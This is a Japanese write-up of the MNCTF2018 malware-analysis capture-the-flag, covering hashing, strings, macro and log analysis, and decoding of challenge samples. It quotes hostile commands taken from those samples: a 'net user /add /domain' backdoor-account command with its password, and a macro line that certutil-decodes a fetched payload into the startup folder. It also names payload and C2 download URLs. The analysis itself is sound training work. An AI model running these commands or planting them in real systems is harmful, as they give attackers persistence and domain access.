MNCTF2018 writeup
今更ながらMNCTF2018をやったのでそのWriteup。
練習問題
「MNCTF2018」が答えです。下の欄に入力して解答してください。
問題文にある文字列を入れるだけ。
MNCTF2018
新人奮闘Ⅰ
7月から株式会社マクニキのCSIRTに配属された新人のとだ君は、さっそく仕事が与えられました。サーバ管理者のこばやし君がADの最適化ツールと思い込み、誤ってマルウェアを実行してしまいました。ファイル名は「AD_OptimizationTool.exe」で、ADサーバ上、ドメイン管理者権限で実行してしまいました。とだ君はこばやし君からマルウェアを受け取り、さっそくマルウェアの解析に挑みます。 まずはマルウェアののSHA-256のハッシュ値を求めてください。
sha256sum
コマンドで、SHA-256ハッシュ値を求める。
root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29
新人奮闘Ⅱ
とだ君は「AD_OptimizationTool.exe」の解析レポートを書こうとしています。ここにアクセスして、手伝ってあげてください。※すべての項目を入力すると正解が得られます。
空欄部分を穴埋めすればフラグが出てくるらしい。
ハッシュ値はそれぞれmd5sum
sha1sum
sha256sum
で出した。
root@kali:/tmp/mnctf2018# md5sum AD_OptimizationTool.exe 541427a9dbe43b10c05b856cdcdc5ba6 AD_OptimizationTool.exe root@kali:/tmp/mnctf2018# sha1sum AD_OptimizationTool.exe e0fa838e0f191f97c5dac7a831af60d750432017 AD_OptimizationTool.exe root@kali:/tmp/mnctf2018# sha256sum AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe
MD5:541427a9dbe43b10c05b856cdcdc5ba6
SHA1:e0fa838e0f191f97c5dac7a831af60d750432017
SHA256:f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29
ファイルサイズはls
に-l
オプションをつけて出した。
root@kali:/tmp/mnctf2018# ls -l AD_OptimizationTool.exe -rw-r--r-- 1 root root 2048 7月 11 2018 AD_OptimizationTool.exe
ファイルサイズ(バイト):2048
コンパイル日時(UTC)はPEview
の以下を確認。
IMAGE_NT_HEADERS→IMAGE_FILE_HEADER→Time Data Stamp
コンパイル日時(UTC):2018/07/11 10:46:08
Import関数はPEview
の以下を確認。
SECTION .import→IMPORT Address Table
ExitProcess kernel32.dll
Sleep kernel32.dll
ShellExecuteA shell32.dll
MessageBoxA user32.dll
全部穴埋めするとフラグが表示された。
d56d9a6036bd18ee98878eb74ae8d663
新人奮闘Ⅲ
とだ君はマルウェア解析を継続し、マルウェアを実行するとコマンドが実行されることに気づきました。コマンドは何でしょうか?コマンド全体を入力してください。
strings
コマンドを実行。
root@kali:/tmp/mnctf2018# strings AD_OptimizationTool.exe !This program cannot be run in DOS mode. .text .data @.import hO @ hK @ h| @ AD Optimizer Optimization successfuly finished.\nThe speed increased 176%. /c net user /add /domain vpnadmin P@ssw0rD1! open kernel32.dll shell32.dll user32.dll ExitProcess Sleep ShellExecuteA MessageBoxA root@kali:/tmp/mnctf2018#
net user /add /domain vpnadmin P@ssw0rD1!
新人奮闘Ⅳ
とだ君はコマンドを調査した結果、ADと連携しているVPNシステムに不正ログインされている可能性を考えて、VPNのログを調査するとにしました。マルウェア解析で分かった情報と照らし合わせて、不正ログインされている時刻を答えてください(YYYY/MM/DD hh:mm形式)
新人奮闘Ⅲの実行コマンドより、vpnadminという名前でユーザ登録されているので、このユーザでログインしているのが怪しい。grep
する。
root@kali:/tmp/mnctf2018# cat vpn20180712.log.txt | grep vpnadmin 2018/07/13 15:01,vpnadmin,27.117.128.1
2018/07/13 15:01
新人奮闘Ⅴ
とだ君は不正ログインのIPアドレスを元に攻撃元の国を調べました。どの国でしょうか?日本語で解答してください。
新人奮闘IVより、アクセス元のIPアドレスは27.117.128.1
GeoIP2 Database Demo | MaxMind
というサービスを使った。
韓国
大量不正
株式会社マクニキのCSIRT担当てしがわら君は、過去に自社内に見つけたマルウェアの断片を調査してみることにした。このマルウェア群から、類似性の高い組み合わせを見つけて、そのファイル名をハイフンでつなげて答えてください。
例)sample1.bin-sample2.binzipのパスワードは「infected」です。
類似性ということで、ssdeep
を使用。
PS C:\MNCTF2018> .\ssdeep.exe -bcdr C:\Users\win10user\Desktop\malwares\malware "sample68.bin","sample1.bin",99
sample1.bin-sample68.bin
種類特定
株式会社マクニキのCSIRT担当のてしがわら君は、海外拠点のエンジニアからマルウェア感染の連絡を受けました。先方からは、マルウェアの種類が特定できておらず、右往左往しています。サンドボックス上でマルウェアを動作させた際のマルウェアの通信はこちらです。パケットから、マルウェアの名前を特定してください。英字で解答してください。
通信先が"/imageas/ランダムな文字列/ランダムな文字列・・・"のように特徴的だったため、
「マルウェア /images/」とかで調べたら「URSNIF(別名:GOZI)」とでた。
URSNIF
標的攻撃Ⅰ
ある日、株式会社マクニキにフィッシングメールのが届きました。メールを転送されたてしがわら君はその添付ファイル「製品価格一覧20180711.xls」を解析した。しかし、残念ながら、サンドボックス上では解析はできなかったため、手動で解析するととにしました。 特定のユーザ名の環境でないと動作しないようです。ファイルを調査して動作条件であるユーザ名を特定してください。(複数ある場合は一つのみ回答してください)。
パスワードは「infected」です。
マクロが含まれているようだ。excelで開発タブを表示し、Visual Basicからマクロを見た。
C6-C11の文字列と比較して、一致した場合、動くようなマクロ。
C列は非表示になっていたため表示させて、文字に色を付けるといくつかのユーザ名があった。
Yasu Kobayashi
標的攻撃Ⅱ
「製品価格一覧20180711.xls」の攻撃が発動すると、HTTPSの通信が発生します。そのURLを回答してください。
HTTPSの通信先を求める。マクロに埋め込まれていたのでそれが答え。
https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert
標的攻撃Ⅲ
「製品価格一覧20180711.xls」の動作を終えると、別のファイルが生成され、そこから2次検体が生成されます。2次検体のSHA256ハッシュ値を調べてください。
マクロを見ると、以下のようなことをやっている。
・取得したコンテンツを「cert.pem」として保存。
・certutil
コマンドでデコードし、「cert.exe」として保存。(certutil -decode [入力ファイル] [出力ファイル])
Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
同様の動きを、手動で行った。
PS C:\MNCTF2018> certutil -decode .\cert.pem cert.exe 入力長 = 98458 出力長 = 73802 CertUtil: -decode コマンドは正常に完了しました。
sha256を出す。
root@kali:/etc/apt# sha256sum cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382 cert.exe
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382
標的攻撃Ⅳ
2次検体を実行すると、HTTPSの通信が発生します。最初の通信のURLを調べてください。
ProcessMonitor
を起動しながら実行すると、コマンドプロンプトが一瞬立ち上がり、消える。
ProcessMonitor
のtreeを見てみると、以下のようなコマンドが実行されていた。
https://shinobotps1.com/download_get.php
穴埋防御
株式会社マクニキのCSIRT担当のてしがわら君は不審なファイルを社内のサーバから見つけました。セキュリティベンダーに解析をお依頼したところ、最終的なマルウェアを検知するためのメモリをスキャンするためのYaraルールが提供されました。しかし、Yaraルールは一部欠けており、そのままでは使えません。マルウェアを解析し、Yaraルールを完成させてください。★に入る文字列を回答してください。
不審なファイルはbase64でエンコードされていたようなので、デコード。
PS C:\MNCTF2018> certutil -f -decode .\Mutant.txt .\decode_Mutant.txt 入力長 = 352616 出力長 = 264462 CertUtil: -decode コマンドは正常に完了しました。
Powershellのスクリプトらしきものが出力された。
このスクリプトの株にはまたbase64でエンコードされていると思われる文字列がある。
さらに、XOR(キーは0x17)で演算されているようだ。
CyberChefを使うと、先頭に、実行ファイルのマジックナンバーであるMZが出てきた。
これを保存し(今回はoutput.exeとした)、ProcessExplorer
を起動した状態で実行する。
View→Show Lower Paneとするとmutantに文字列が見つかった。
1q2w3e4r0o9i8u7y6t
盗難情報
株式会社マクニキのCSIRT担当のてしがわら君は攻撃者が残したファイルを入手しました。調査したセキュリティベンダー曰く、攻撃者はC&Cサーバに情報をアップロードする際にファイルを暗号化するとのことで、以下のアルゴリズムで暗号化されたものらしい。
XOR(シングルバイトキー)→ Base64 → ROT13
同攻撃者はマクニキの新製品情報を狙ったとみられています。ファイルを復号して、新製品の製品型番を答えてください。
XOR→base64→rot13というアルゴリズムでエンコードされているとのこと。
CyberChefで逆からデコードしていく。
XORbruteforceをしたら、keyが15で"PNG"や"IHDR"の文字列が。
よって、keyを15にした状態でファイルを保存すると画像が取り出せる。
NEJI_190_3GM